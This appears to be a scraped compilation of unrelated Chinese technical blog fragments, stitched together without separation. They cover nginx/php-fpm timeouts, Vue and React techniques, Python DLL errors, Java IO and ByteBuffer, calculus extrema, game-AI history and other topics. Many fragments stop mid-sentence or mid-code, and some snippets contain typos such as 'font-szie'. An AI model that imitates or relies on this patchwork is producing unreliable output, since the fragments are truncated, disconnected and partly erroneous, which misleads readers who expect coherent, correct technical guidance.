销售或者需求分析工程师 需要出具商业价值分析PBA、干系人登记册、需求跟踪矩阵技术负责人需要编写初步的建设方案PM要编写初步的项目预算 Step2 描述:是否参加项目招投标.
思路:判断客户想做这个事情的确定性,评估赢下项目的可能性和所需的预先投入,从而决定是否继续跟进;
内容:
1)商机概览;
2)我们为什么参与:战略层面分析、商务层面分析;
3)我们能否胜任:从解决方案分析、交付能力分析、竞争力分析、风险评估分析、下一步计划安排分析。
参与决策人员:销售经理、项目部经理、总经理、产品经理等
对应项目管理知识点:
需要通过步骤2,参与招投标,需要编写投标方案更清晰的客户需求列表更清晰的建设方案
“ImportError DLL load failed 找不到指定的程序”的解析和解决办法。 文章目录 “ImportError DLL load failed 找不到指定的程序”的解析和解决办法。问题描述问题解析解决方法查看依赖库信息本人的解决过程源代码 运行程序的时候,发现了ImportError DLL load failed 找不到指定的程序的报错。网上搜了一天多都找不到解决办法。这里我的解决过程整理出来,希望可以帮助到和我遇到一样问题的人。
问题描述 (不想看可以跳过)
首先澄清一点,这个报错不是ModuleNotFoundError: No module named 'XXX'。
ModuleNotFoundError的报错是指:在.py文件的搜索路径下,找不到指定的Module。(这种问题分两种情况,一种是你压根就没安装这个包,一种是你安装的路径不对。)
ImportError DLL load failed的报错,简单来说就是你写的时候不报错(比如ModuleNotFoundError: No module named 'XXX'下,在pycharm中写import XXX会标红),运行的时候才报错。
这说明你这个包,是在默认的搜索路径下的。由于你这个包有问题,才导致写的时候不报错,运行的时候才报错。
另外需要说一下DLL这个东西。转自DLL文件的百度百科:
库文件即DLL(Dynamic Link Library)文件,是动态链接库文件,又称“应用程序拓展”,是软件文件类型。在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。当我们执行某一个程序时,相应的DLL文件就会被调用。一个应用程序可使用多个DLL文件,一个DLL文件也可能被不同的应用程序使用,这样的DLL文件被称为共享DLL文件。
ImportError DLL load failed的报错,说白了是函数库调用其依赖库时出现了问题。
在我面对的问题:
import sklearn import seaborn sklearn和seaborn这两个库都有依赖库。比如sklearn的依赖库有numpy, scipy和joblib。
问题解析 两种情况:
函数库本身有问题,导致调用异常。依赖包版本不符,导致调用异常。 解决方法 主要就是两种解决办法:
重新安装该函数库。检查依赖包的版本(过高或过低)。 这里要吐槽一个事情,python的向下不兼容的问题是挺明显的,最显著的就是python3完全不兼容python2,另一个表现是,第三方库都有dependencies,要求某些库的版本>=某个版本。
没想到还会有向上不兼容的问题,即依赖包版本过高,会导致依赖这个包的第三方库无法正常使用(我遇到的就是这个问题)。
查看依赖库信息 有两种方式
通过命令行查看:conda search package_name --info
比如查看seaborn的信息,在命令行输入conda search seaborn --info,可以查看seaborn各版本的信息(包括依赖包的信息):
Loading channels: done seaborn 0.
环境说明
压测工具:apache/ab
web服务器:NGINX/1.8.0 + PHP 5.6.25
php脚本:get.php
注:
nignx 设置超时
fastcgi_connect_timeout 60 fastcgi_send_timeout 60 fastcgi_read_timeout 60 php-fpm 设置超时
request_terminate_timeout 10 压测开始
1.get.php源码
<?php for ($i=0; $i < 50; $i++) { # code... sleep(1); } 2.使用ab模拟10个client对get.php并发请求100次
ab -c 10 -n 100 http://time-out.com/get.php 结果分析
情况一:每个php执行50s以上远大于超时时间(10s),fpm会自动发送kill信号(SIGTERM)给工作进程clild进程关闭。此时nginx与php-fpm的连接断开,nginx找不到对方,报502 Bad Gateway错误。
如图:fpm超时的处理 (php-fpm.conf)
如图:kill掉进程,重新启动fpm工作进程(php-fpm日志)
如图:nginx报502 Bad Gateway (nginx access.log)
情况二:client端(ab压测那端)等待不耐烦,关闭自身致使连接从客户端先断开,nginx检查到客户端已断开连接,则报499 code 。(注:其他情况如用户主动关闭浏览器等)
如图:nginx报499
如图:nignx对499的定义
情况三: 重新设置nginx超时为5s,再次压测,此时未等php超时,nginx已经超时了,nginx报504 Gateway Time-out 如图:nginx报504 Gateway Time-out
总结:
第一种是php-fpm没设置超时,即request_terminate_timeout 设置为0,我们常见的状态码是504或499,原因是要么nginx超时,要么用户等不耐烦关闭连接。
第二种情况是php-fpm设置超时如10s,常见的状态码是502或者504,也有可能499。另外由于并发高,php-fpm工作进程都在忙,没有可用的工作进程,此时常见502 Bad Gateway。还有一种是php-fpm挂了或没启动,同理也是502
在理解VUE组件传值深入之前,我们必须理解基础的VUE传值的方式:这里有一篇文章介绍VUE传值的方式
现在VUE的传值的主要方式有:
props down 与 event up传值(props下发event上传)provide 和 inject方式$attrs与listenersslot内容分发,也可以传值eventBus第三方bus的传值方式vuex全局状态实现传值$ref传递信息params与query传值方式 一 prop与event传值
由于父子组件传值是最基础的,所以我们这里不表,现在来看一些其他的传值方式
1.1 父子组件的异步数据传递: props与event实现异步数据传递方式一
父组件
// asyncData为异步获取的数据,想传递给子组件使用 <template> <div> 父组件 <child :child-data="asyncData" v-if="flag"></child> </div> </template> <script> import child from './child' export default { data: () => ({ asyncData: '', flag: false }), components: { child }, created () { //发送请求获取数据(伪代码) let async_data = sendAjax() }, mounted () { // setTimeout模拟异步数据 setTimeout(() => { this.asyncData = 'async_data' this.flag = true console.
打开vue项目(dev)
dev/config/ 路径修改index.js文件
然后对host和pord修改指定的即可
host: 'localhost', // can be overwritten by process.env.HOST port: 8082, // can be overwritten by process.env.PORT, if port is in use, a free one will be determined autoOpenBrowser: false, errorOverlay: true, notifyOnErrors: true, poll: false, // https://webpack.js.org/configuration/dev-server/#devserver-watchoptions- 转载于:https://www.cnblogs.com/Jack-cx/p/11371268.html
由于react的样式管理是比较弱的,官方是建议把style直接写到jsx标签里
当然这种处理的方式显然不是特别适合,这样就造成了样式与标签耦合在一起了,我们知道在VUE中的利用scoped做到了样式私有化,react的样式私有化有以下几种处理方法:
1.利用css module来解决
这里有一篇关于css modoule的文章
1.1 在create-react-app中使用css modules的方法
import React from 'react'; //注意App.module.css中多了一个module关键字 import style from './App.module.css'; export default () => { return ( <h1 className={style.title}> Hello World </h1> ); }; 而在css的命名必须为: App.module.css
.title { font-szie: 50px; } 这样就可以在代码中使用了,编辑结果形式如下图:
而css module的做法就是:
产生局部作用域的唯一方法,就是使用一个独一无二的class的名字,不会与其他选择器重名。这就是 CSS Modules 的做法。
1.2 构建的webpack实现css Module
此时在react中的引入是一样的,但是css样式文件名不需要再加上module关键字了,但是需要webpack配合:
// App.css: .title { font-szie: 50px; } webpack代码:
上面代码中,关键的一行是style-loader!css-loader?modules,它在css-loader后面加了一个查询参数modules,表示打开 CSS Modules 功能。而
localIdentName=[path][name]---[local]---[hash:base64:5] 这句的含义是定制hash后样式类名的名字,这样就不会出现很难理解的类名了,具有一定的语义性
module.exports = { entry: __dirname + '/index.
//一维数组对应key相加 function arrayAdd(...$array_item) { $array=array(); foreach ($array_item as $item){ $array=array_merge($array,$item); } foreach ($array as $key=>&$val){ $val=0; foreach ($array_item as $item){ $val+=$item[$key]??0; } } return $array; } $array_item 为不固定参数,array_item1,和array_item2可以不全是相同的key,不值必须是数字
$a=array('a'=>1,'b'=>2,'c'=>5); $b=array('a'=>1,'b'=>2,'d'=>10); $c=arrayAdd($a,$b); 输出为:
Array ( [a] => 2 [b] => 4 [c] => 5 [d] => 10 )
今天来讲一个很基础,但也很容易被忽略的问题。
String s="5"; int s1=2; System.out.println(s+s1); 输出的结果会是多少呢?
答案是:52
嗯,大概通过运行的结果得出了结论:字符串与数字进行相加时,会把数字拼接成字符串。
好奇~为啥捏?上网查了查,没找到想要的答案!谁让我有个学霸同桌那?hhhhh
我们来看一下反编译的结果
1.在out文件夹里找到你要编译的.class文件
2.在文件夹中按住shift+右击,选择PowerShell
3.输入javap -c 类名.class
比如我要编译的类是A
从反编译的结果我们可以看到,java虚拟机帮我们做了什么。
java虚拟机对于字符串做了一些特殊的处理,如上图可见,String类在编译的时候被转为了StringBuilder,然后StringBuilder类中有一个append方法,其中有一个可以传int类型参数的重载,拼接完后会再转为String
因此,最终的结果就是52啦~
可以设置richtextbox只显示固定行
超过固定行自动移除
访问localhost:8080还让我输入账户
从报错可以直接看出是8080端口被占用,可是我电脑刚启动也会报错,由此我分析不是tomcat的问题,肯定是有其他程序占用端口,我的是win10系统,cmd命令:
netstat -ano 查看所有端口,也可以 netstat -ano|findstr 8080 寻找8080端口使用者。 LISTENING监听器?谁的呀这,pid4732,打开任务管理器: TNSLSNR是什么程序?百度:
看来都是oracle搞的事,算了我还是改tomcat吧,oracle不好搞,惹不起人家要占就占呗。
修改tomcat默认端口:conf/server.xml
成功
愿你心如花木,向阳而生
tf.reshape https://github.com/tensorflow/docs/tree/r1.4/site/en/api_docs/api_docs/python/tf
site/en/api_docs/api_docs/python/tf/reshape.md
reshape( tensor, shape, name=None ) Defined in tensorflow/python/ops/gen_array_ops.py.
See the guide: Tensor Transformations > Shapes and Shaping
Reshapes a tensor.
重塑张量。
Given tensor, this operation returns a tensor that has the same values as tensor with shape shape.
给定 tensor,这个操作返回一个张量,它与带有形状 shape 的 tensor 具有相同的值。
If one component of shape is the special value -1, the size of that dimension is computed so that the total size remains constant.
MarkerClusterer.prototype.calculator_ = function(markers, numStyles) { var index = 0; var count = markers.length; var dv = count; while (dv !== 0) { dv = parseInt(dv / 10, 10); index++; } index = Math.min(index, numStyles); return { text: count, index: index }; }; 找到markerclusterer.js文件的这段代码,text内容为聚合点显示内容,此处聚合点显示count,即聚合marker个数,可根据需要修改;index结合styles配置决定聚合点图片显示,此处index根据聚合marker个数改变,可根据需要修改。
一、IO 介绍 我们通常所说的 BIO 是相对于 NIO 来说的,BIO 也就是 Java 开始之初推出的 IO 操作模块,BIO 是 BlockingIO 的缩写,顾名思义就是阻塞 IO 的意思。
1.1 BIO、NIO、AIO的区别 BIO 就是传统的 java.io 包,它是基于流模型实现的,交互的方式是同步、阻塞方式,也就是说在读入输入流或者输出流时,在读写动作完成之前,线程会一直阻塞在那里,它们之间的调用时可靠的线性顺序。它的有点就是代码比较简单、直观;缺点就是 IO 的效率和扩展性很低,容易成为应用性能瓶颈。
NIO 是 Java 1.4 引入的 java.nio 包,提供了 Channel、Selector、Buffer 等新的抽象,可以构建多路复用的、同步非阻塞 IO 程序,同时提供了更接近操作系统底层高性能的数据操作方式。
AIO 是 Java 1.7 之后引入的包,是 NIO 的升级版本,提供了异步非堵塞的 IO 操作方式,所以人们叫它 AIO(Asynchronous IO),异步 IO 是基于事件和回调机制实现的,也就是应用操作之后会直接返回,不会堵塞在那里,当后台处理完成,操作系统会通知相应的线程进行后续的操作。
1.2 全面认识 IO 传统的 IO 大致可以分为4种类型:
InputStream、OutputStream 基于字节操作的 IOWriter、Reader 基于字符操作的 IOFile 基于磁盘操作的 IOSocket 基于网络操作的 IO java.net 下提供的 Scoket 很多时候人们也把它归为 同步阻塞 IO ,因为网络通讯同样是 IO 行为。
【高数】多元函数求极值和最值有什么不同? 一、起因二、概念理解三、问题思考四、解题五、小结 一、起因 在做某道题时,多元函数函数在有界闭区域内连续,求最值。
当时有诸多疑惑:
为什么求极值时,导数为0的点、导数不存在的点都是可疑极值点,而求最值时没有包括导数不存在的点?拉格朗日乘数法求得的条件极值,怎么判断是极大值极小值?什么时候需要判断极大值极小值,什么时候直接计算函数值比较而得出最值? 二、概念理解 多元函数极值的定义:
无条件极值的判定及求法:
注意:(1)成立前提是偏导数均存在,也就是可微函数的极值点处的偏导值为0。如果不可导,那么不适用此定理。
(2)对 x 和 y 的偏导数均为0的点称为驻点。该定理表示,注意后面这个定语!具有偏导数的函数的极值点一定是驻点,驻点不一定是极值点。
(3)如果某点对 x 和 y 不可导(至少对其一不可导),那么该点也可能是极值点。类似一元函数,不可导处可能是极值点。
如何判定不可导处的点是否真的是极值点?→定义法
(4)对于可微函数,极值点的偏导数必为0,因此可从之求得可疑极值点,但如何判定真的是极值点?→充分条件或定义法。
充分条件用于对偏导数为0的可疑极值点的进一步判定,使用条件是有一阶且二阶连续偏导数(一般可以写出函数式的初等函数,均满足此条件)。当出现(3)的无法判断状态时,转为定义法判断。 方法总结:
多元函数,无条件极值,先看定义域内是否可微。
不可微,则对于偏导数不存在处,用定义法判极值。可微,用必要条件(偏导数为0)求极值可疑点,再用充分条件(二阶偏导的值)依次判断上述可疑点,若出现无法判定则回到定义法判定。 条件极值: 易于变量替换的条件,就用上,可减少一些变量,并转化为了无条件极值。不易用条件,则用拉格朗日乘数法求可疑极值点(这是个必要条件,是否是极值,可用二阶偏导或定义法或实际问题的性质判)。一般条件极值所得即所问,或者是为求最值服务的,所以这里无需担心是否真的是极值。
最值:函数的最大值、最小值,即一些可疑值比较后取得。 三、问题思考 二者的区别: (对于任何函数)极值点可疑点:驻点、偏导数不存在处(对于可微函数)极值点可疑点:驻点(对于有界闭区域上的连续可微函数)最值点可疑点:内部驻点、边界最值点(条件极值点/驻点及端点) 求最值时,为什么不需要确认,极值可疑点是极值点?
什么情况下,极值就一定是最值?
首先,需要满足以下条件(一般题目都满足)。书中给出的①是有界闭区域D,不过其实这里的D可以是无界区域或无界闭区域,如下面例子是开区域,不过,题意决定了存在最值,且能在D内取得。
但是!也有一些无界区域D出现了内部唯一极值不等于最值的情况,这里有一篇文章讲解的很清楚(虽然考试无需思考此问题,但有助于理解方法)。
指路链接:《二元函数一个值得注意的问题》https://wenku.baidu.com/view/56a753f89ec3d5bbfd0a74e4.html
实际情况中,比如制作一个体积为20m^3(图中有误)的水箱 ,长宽高为多少用料最少?可设出长宽x、y,高为20/xy。由题意,水箱的最小用料面积一定存在(不然怎么求),且一定在开区域D内取得,所以唯一极值就是最值!!!
四、解题 为什么求极值时,导数为0的点、导数不存在的点都是可疑极值点,而求最值时没有包括导数不存在的点?
---- 当题目条件有可微函数时,偏导数存在,或是由可以写出的函数表达式看出其可偏导,因此不用求导数不存在的点。 拉格朗日乘数法求得的条件极值,怎么判断是极大值极小值?
---- 一般由实际问题性质决定!让你求,你就求,一定可求! 什么时候需要判断极大值极小值,什么时候直接计算函数值比较而得出最值?
问极大值点、极小值点分别是什么,则需判断;求最值,则重点在最值,而不用判是否为极值点。 五、小结 多元函数,无条件极值: 定义域内是否可微。不可微,则对偏导数不存在处,用定义法判。可微,偏导数为0,求极值可疑点。再用二阶偏导的值判断,若无法判定则回到定义法。 条件极值: 可变量替换,转化为无条件极值。不易替换,则拉格朗日乘数法求可疑极值点,常由实际问题的性质判是否真的为极值(一般都是)。 最值点: 比较各可疑点的函数值得出。(对于有界闭区域上的连续可微函数)最值点可疑点:内部驻点、边界最值点(条件极值点及端点)
前言背景
1. 雅达利的崛起与沉沦
1974年,一个名叫史蒂夫·乔布斯的年轻人来到了雅达利(Atari)公司位于洛思加图斯的总部,拿着一块他朋友沃兹尼亚克做的电路板,手舞足蹈的比划,试图让对方相信这个自制版的雅达利经典之作Pong是他做出来的,如果不给他一份工作就不会离开,后面他顺利的加入了这家当时硅谷最酷的公司,并和沃兹尼亚克一起参与研发了一款叫breakout的游戏的原型,它们和太空侵略者(Space Invader)、吃豆人(Pac-Man)等游戏一起,成为了后面雅达利推出的传奇主机Atari 2600上的经典游戏。
Atari上的breakout
谁能想到,仅仅十年后,1984年,电子游戏业的先驱雅达利,已经迅速的在一场被称为“雅达利崩溃”的游戏业大萧条中被出售,而乔布斯创办的苹果公司在通过Apple II确立了在个人计算机市场的领先地位之后,又推出了第一款的Mac电脑,凭借一体化设计和图形化用户界面设计再度轰动市场;2007年,第一款的iphone的推出重新定义了智能手机,并将传统的游戏市场从游戏主机和PC向移动设备拓展;2011年,成为新一代青年偶像和创业者教父的乔布斯去世,留下了一家全球市值最高的科技公司,与此同时,雅达利在多次的转卖之后彻底消失在大众的视野里。
2. 人工智能的浪潮
但是几十年前那些在简陋的电路板上的天才创造很快又以一种大家没有预想到的形式回到风口浪尖上,2013,伦敦,一家叫Deepmind的创业公司提出了用一种叫深度强化学习的方法来模拟人类玩雅达利2600上的经典游戏,包括Pong, breakout等等,在不依赖人类数据的前提下超越了人类玩家的水平。在被Google收购之后,Deepmind在2016年又推出了围棋AI程序AlphaGo,接连击败人类世界冠军,在1997年国际象棋世界冠军卡斯帕罗夫输给IBM的深蓝之后,不到20年的时间,围棋也相继宣告失守,以Deepmind、OpenAI等为代表的一系列人工智能公司将21世纪初由大数据和深度学习方法引领的又一轮人工智能浪潮推向巅峰。
Nature的DQN封面文章
3. 电子游戏的发展
电子游戏作为计算机产业的派生产物,在这几十年里获益于前沿技术的推动,迅速的成长为每年市场份额过千亿美金的庞大产业,而同时游戏也给计算机技术的前沿研究提供了大量的实验场景和驱动力,出现了一个良性循环的状态。
电子游戏产业市场规模变化(1971-2018)
在这些技术的支持下,现在的游戏产品与比几十年前比,有更精美的画面,有更真实的音效,可以有更多天南海北互不相识的人一起玩,甚至开始有了AR/VR这些在人机交互方式上的创新,无一不让玩家感到惊喜。
Sony 的PSVR设备
4. 游戏与AI
但从另外一个角度看,游戏的核心玩法似乎并没有更多的改变,主要的游戏品类,在20甚至30年前就已经出现了,新游戏的设计和玩法的创新还是高度依赖有经验的游戏研发人员,大型游戏的研发所需要承担的风险和代价越来越大,一方面来自于在玩法创新上的思路枯竭,另一方面还来自于要填充的海量内容,大量的真实3D场景、角色设计、剧情甚至到每一帧的角色动画的仔细打磨。毕竟,无论是主打PVE还是PVP的游戏,都需要有大量内容的填充,才能使得游戏更为充实,才能满足日益挑剔的玩家需要,在竞争激烈的市场中夺得一席之地。但是目前的人工智能技术虽然可以在星际争霸这样复杂的游戏中击败人类的职业选手,但是对游戏的玩法本身带来的帮助似乎有限,更别提创造出新的玩法或者游戏了。
Atari 2600上的赛车游戏
但是业界在不停的尝试,试图通过人工智能技术去理解玩家在游戏中的行为,优化玩家的游戏体验以及加速游戏的研发进程,在这个系列文章里面,我们会尝试从自己的角度来阐述如何应用人工智能技术来优化游戏体验和提升游戏的研发效率,虽然很多的思路和尝试还不成熟,但是希望抛砖引玉,可以和所有有志于人工智能技术,应用新技术改进游戏研发的人一起讨论和进步。为了可以更透彻的说明AI技术和游戏研发应用之间的关联和区别,下面尝试分别从AI研究方向和游戏研发应用两个角度来看游戏AI这个问题,以及解释我们的整体思路。
AI研究方向
从人工智能研究者的视角出发,游戏是一个非常优秀的研究环境,因为游戏通常是人类世界中某一类或几类问题的抽象和简化,而且具备实验成本低(与现实世界的实验比)、可重复性高等优点,通常游戏的核心玩法都需要展现出相当程度的智能行为,无论是下围棋、打德州、组队五黑打英雄联盟还是自己玩连连看、俄罗斯方块,都需要有深入的思考或者敏捷的反应,从不同角度和程度上展现出人类的智能行为。因此,人工智能研究者都着眼于设计出一个可以在公认复杂的游戏中取胜的方法,这是进行创新和展示技术实力的最为直接的方式,譬如深蓝之于国际象棋,或者AlphaGo之于围棋。而着眼的问题也越来越复杂,从象棋到围棋,再到Dota或者星际争霸这样的实时战略游戏。
AI研究的前沿从国际象棋向即时战略游戏推进
1. 早期的游戏AI:树搜索
在早期的游戏AI相关工作中,最为常见的的方法如树搜索(Tree Search)及其变体的为主的规划类方法。在类似象棋或者围棋这样的棋类游戏中,博弈树(Game Tree)是一种常用的游戏建模形式,在博弈树上以找到最优解法为目的进行搜索就是最直接的实现AI的方式。但是在给定计算资源的前提下,搜索的效果总是和原始问题的复杂度成反比。从几个常见棋类游戏的复杂度上可以看到,单纯的搜索很难取得好的效果,因此搜索+极小极大算法剪枝,或者启发式的搜索,再加上强大的计算能力,在较为简单的棋类游戏上可以取得比较好的结果,譬如战胜卡斯帕罗夫的IBM深蓝,就是通过在针对国际象棋场景特制芯片上进行alpha-beta剪枝+暴力搜索实现的。但这样的方法,在面对更为复杂的游戏,如围棋,其游戏复杂度比象棋相比是指数级的增长,完全依靠搜索不是一个理想的思路。
不同棋类游戏的复杂度对比
20世纪90年代,当时的围棋AI第一人,曾经六夺国际围棋AI冠军的程序“手谈”的作者,中山大学陈志行教授,在半自传作品《电脑围棋小洞天》中就提到当时(2000年)围棋AI的一些局限性:
对全局局势的判断:受计算能力的限制,在围棋中难以基于博弈树搜索给出对当前局势的精确判断;
局部死活的计算方法:局部棋的死活,也不能完全基于定式库+搜索的方法,应该多考虑一些基于直觉判断的方法作为补充;
如何突破定式:象棋AI程序可以通过自身的思考(搜索)突破一些已有的定式,创造出新的合理的走法,但是围棋AI却做不到,在对战人类棋手时的缺陷非常明显。
在现在看来,以陈教授为代表的一系列围棋AI先行者所考虑的问题是非常有前瞻性的,纯粹以搜索+人为规则为基础的方法是没有办法解决非常复杂的问题的,陈教授在“手谈”的一个改进版本“乌鹭”中,便引入了模式识别的思想来改进对局部死活的判断,即将局部旗子的形式作为图型编码输入,把需要下一步需要关注的走位作为输出,存在模式库中,作为对纯搜索的补充。这里的模式识别的方法虽然和人工智能中模式识别(Pattern Recognition)相去甚远,但是其“凭经验直接看出关键走位/一块棋死活”的主要思想和后续基于机器学习方法在围棋AI上做出突破可以说是非常一致的,只是受制于当时计算机硬件和软件的发展水平,相关的思路和尝试并没有获得很好的结果。
2. 游戏AI的发展:树搜索的拓展
在不到10年后,研究者将树搜索进一步拓展,引入了蒙特卡洛方法(Monte Carlo Method)和马尔可夫决策过程的概念(Markov Decision Process),提出了蒙特卡洛树搜索方法(Monte Carlo Tree Search, MCTS),基于MCTS的围棋AI从2008年开始战胜业余人类棋手,在2013年前后达到了可以与职业棋手在让4-5子的前提下进行对弈的水平。
MCTS的原理,基于选择、扩展、仿真和反向传递循环的树搜索
而在这10年间,得益于互联网时代的到来,不同领域的数据获取的成本都急剧的下降,海量数据成为了机器学习领域快速前进的助推剂,尤其是以深度学习为代表的复杂人工神经网络方法,在机器视觉、自然语言处理、推荐系统等领域都取得了不错的成果并形成了成熟的工业解决方案。这些可以从海量的人类标注数据中学习复杂规律的机器学习方法,正是十多年前围棋AI所梦寐以求的最后一块缺失的拼图。
3. 游戏AI的爆发:深度强化学习
2015年,Deepmind的围棋AI程序AlphaGo横空出世,首次在无让子的对局中击败人类职业棋手,2016年1月,Deepmind在Nature上发表相关论文“Mastering the game of Go with deep neural networks and tree search”,而后不久的2016年3月,AlphaGo在五番棋比赛中以4:1击败人类世界冠军李世乭,引发了新一轮的人工智能狂潮。在这个版本的AlphaGo Lee中,从历史对局中提取了3000万样本数据进行初始的监督学习(Supervised Learning)策略模型训练,使得AI可以根据一个给定的盘面判别下一步的走法,并在此之上,采用了强化学习(Reinforcement Learning)的思想对AI的走子能力和局面判断能力进行进一步的提升,基于这种方法强化的MCTS终于在面对人类职业棋手上取得了突破性进展,在不同的线下和线上比赛击败所有前来挑战人类高段职业棋手,并于2017年初以3:0再度击败人类世界冠军柯洁。在2017年底,进化版的AlphaGo Zero在不依赖任何人类数据的情况下,依赖深度强化学习和自我对弈的方法,21天训练超越之前所有版本的AlphaGo程序,彻底明确了AI在围棋领域的霸主地位。
1.需求 修改一个纯静态资源的项目(只有css,js,html等文件),改了后怎样启动看到效果呢,浏览器上可以直接打开一个html页面,但页面接的跳转、样式等都无法引入,还是不能看到整体效果。此时使用nginx 可以解决这一问题。
环境:nginx ( nginx-1.17.0)+ win10 2.使用: 2.1 将静态资源添加到nginx 安装目录中的html文件夹下(方便配路径,也可以不添加到此处,根据自己的绝对路径配置) 图1:找到nginx安装目录——>图2:html文件夹——>图3:所有的静态资源粘贴进去
图1
图2
图3
2.2 nginx配置文件中配置:(nginx安装目录conf—>nginx.conf文件) 图4
图5
2.3 添加配置: #服务 server { #端口号 listen 8082; #服务名 server_name localhost; #nginx根目录 location / { #html文件夹 root html; #首页 index index.html index.htm; } } 3.dos启动nignx 4. 浏览器访问:这里访问的url和nginx配置文件中一致 5.关闭nginx dos 中输入命令:nginx -s quit
页面可以正常访问,样式,页面之间的跳转都引用进来 -------------------分界线---------------------------------------------------
最近发现一种更快捷的启动静态服务方式: idea 中打开任一html文件,右键,浏览器打开就可以直接启动静态服务了,效果和nginx相同
使用 sudo docker exec -it 容器名 /bin/bash 进入容器时报错。
错误信息:
OCI runtime exec failed: exec failed: container_linux.go:345: starting container process caused "exec: \"/bin/bash\": stat /bin/bash: no such file or directory": unknown
解决方法:
使用 sudo docker exec -it 容器名 /bin/sh ,即可成功进入容器。
一、先上原始代码
import requests,time,json import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) _headers = { 'accept':'application/json, text/javascript, */*; q=0.01', 'accept-encoding':'gzip, deflate, br', 'accept-language':'zh-CN,zh;q=0.9', 'content-type':'application/x-www-form-urlencoded; charset=UTF-8', 'origin':'https://tool.lu', 'referer':'https://tool.lu/ip/', 'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.80 Safari/537.36', 'x-requested-with':'XMLHttpRequest', } data = { 'ip':'39.137.69.7', } response = requests.post(url="https://tool.lu/ip/ajax.html",data=data,headers=_headers) print(response.text) 感觉很好,所有头部信息都是使用Fiddler抓下来的,很简单的几行代码吗。。。然后
$ IJ����.��e�_����Em �Ԣ,���#��N���d�x������YH����dP�b���pQ*L�]d`��Z��(n,<�GF�q����H� g74)^[roJȞwK�c�0�9��5_����dr��u�� 二、咱也不知道这是个啥,不知道咋回事那就用Fiddler监测一下看看
修改部分代码:
proxy = '127.0.0.1:8889' # 这个是你在Fiddler中设置的端口,记得启动Fiddler proxies = { 'http':'http://' + proxy, 'https': 'https://' + proxy } response = requests.
声明文件简介 当使用第三方库时,我们需要引用它的声明文件,才能获得对应的代码补全、接口提示等功能。
什么是声明语句 假如我们想使用第三方库 jQuery,一种常见的方式是在 html 中通过 <script> 标签引入 jQuery,然后就可以使用全局变量 $ 或 jQuery 了。如:
$('body') 但是在 ts 中,编译器并不知道 $ 或 jQuery 是什么东西:
$('body') //Cannot find name '$'. Do you need to install type definitions for jQuery? Try `npm i @types/jquery`. 这时,我们需要使用 declare var 来定义它的类型:
declare var $: (selector: string) => any; $('body') declare var 并没有真的定义一个变量,只是定义了全局变量 $ 的类型,仅仅会用于编译时的检查,在编译结果中会被删除。
什么是声明文件 通常我们会把声明语句放到一个单独的文件(index.d.ts)中,这就是声明文件:
interface myInfoType { name?: string; age?: number; [params:string]: any; } declare const myInfo: myInfoType; declare const $: (selector: string) => any; 声明文件必须以.
1.异常 springboot整合flowable项目启动报错: 2019-08-14 13:45:13.735 [main] INFO liquibase - Waiting for changelog lock.... 2019-08-14 13:45:23.739 [main] INFO liquibase - Waiting for changelog lock.... 2019-08-14 13:45:33.744 [main] INFO liquibase - Waiting for changelog lock.... 2019-08-14 13:45:43.750 [main] INFO liquibase - Waiting for changelog lock.... 2019-08-14 13:45:53.755 [main] INFO liquibase - Waiting for changelog lock.... 2019-08-14 13:46:03.762 [main] INFO liquibase - Waiting for changelog lock.... 2019-08-14 13:46:13.767 [main] INFO liquibase - Waiting for changelog lock.
Vue组件间的通信方式 1. props传递数据 在父组件中使用儿子组件
<template> <div> 父组件:{{mny}} <Son1 :mny="mny"></Son1> </div> </template> <script> import Son1 from "./Son1"; export default { components: { Son1 }, data() { return { mny: 100 }; } }; </script> 在子组件中获取父组件的mny值
<template> <div> 子组件:{{subMny}} </div> <template> <script> export default { props: { mny: String }, data() { return { subMny: this.mny } } } </script> 2.$emit使用 子组件出发父组件的方法
/* 父组件 */ <template> <div> 父组件:{{mny}} <Son1 :mny="mny" @input="change"></Son1> </div> </template> <script> import Son1 from "
一、ByteBuffer原理 关于这个类,其实他有两个子类:一个是HeapByteBuffer和DirectByteBuffer关于这两个类的区别很好理解:
DirectByteBuffer不是分配在堆上的,它不被GC直接管理(但Direct Buffer的JAVA对象是归GC管理的,只要GC回收了它的JAVA对象,操作系统才会释放Direct Buffer所申请的空间),它似乎给人感觉是“内核缓冲区(buffer in kernel)”。HeapByteBuffer则是分配在堆上的,或者我们可以简单理解为Heap Buffer就是byte[]数组的一种封装形式,查看JAVA源代码实现,HeapByteBuffer也的确是这样。 说白了就是HeapByteBuffer是在JVM堆内存中分配会被JVM管理回收,但是DirectByteBuffer是直接由系统内存进行分配,不被JVM管理。通过上面的区别看到:
1、创建和释放DirectByteBuffer的代价比HeapByteBuffer得要高,因为JVM堆中分配和释放内存肯定比系统分配和创建内存高效
2、因为平时的read/write,都会在I/O设备与应用程序空间之间经历一个“内核缓冲区”。 DirectByteBuffer就好比是“内核缓冲区”上的缓存,不直接受GC管理;而Heap Buffer就仅仅是byte[]字节数组的包装形式。因此把一个Direct Buffer写入一个Channel的速度要比把一个HeapByteBuffer写入一个Channel的速度要快。 所以这两个类操作起来各有好处,要视情况而定,一般如果是一个ByteBuffer经常被重用的话,就可以使用DirectByteBuffer对象。如果是需要经常释放和分配的地方用HeapByteBuffer对象。
下面来通过他们的源码来确定内存分配原理,首先是HeapByteBuffer对象:
看到了,这里直接使用了byte数组的,Java中的数组都是在JVM的堆内存中进行分配的。
再来看看DirectByteBuffer对象:
内部直接使用了Unsafe类对象,关于这个类:
Java不能直接访问操作系统底层,而是通过本地方法来访问。Unsafe类提供了硬件级别的原子操作,主要提供了以下功能:
1》、通过Unsafe类可以分配内存,可以释放内存;
类中提供的3个本地方法allocateMemory、reallocateMemory、freeMemory分别用于分配内存,扩充内存和释放内存,与C语言中的3个方法对应:
public native long allocateMemory(long l);
public native long reallocateMemory(long l, long l1);
public native void freeMemory(long l);
2》、可以定位对象某字段的内存位置,也可以修改对象的字段值,即使它是私有的。
从上面源码分析可以得知HeapByteBuffer对象是直接操作堆中的字节数组对象的,而DirectByteBuffer对象是直接操作系统内存的。
好了上面分析了ByteBuffer的两个子类,这两个子类会通过两个方法来获取的:
一个是allocate方法获取到HeapByteBuffer:
一个是allocateDirect方法获取到DirectByteBuffer:
这两个方法的使用在后面会详细说明。
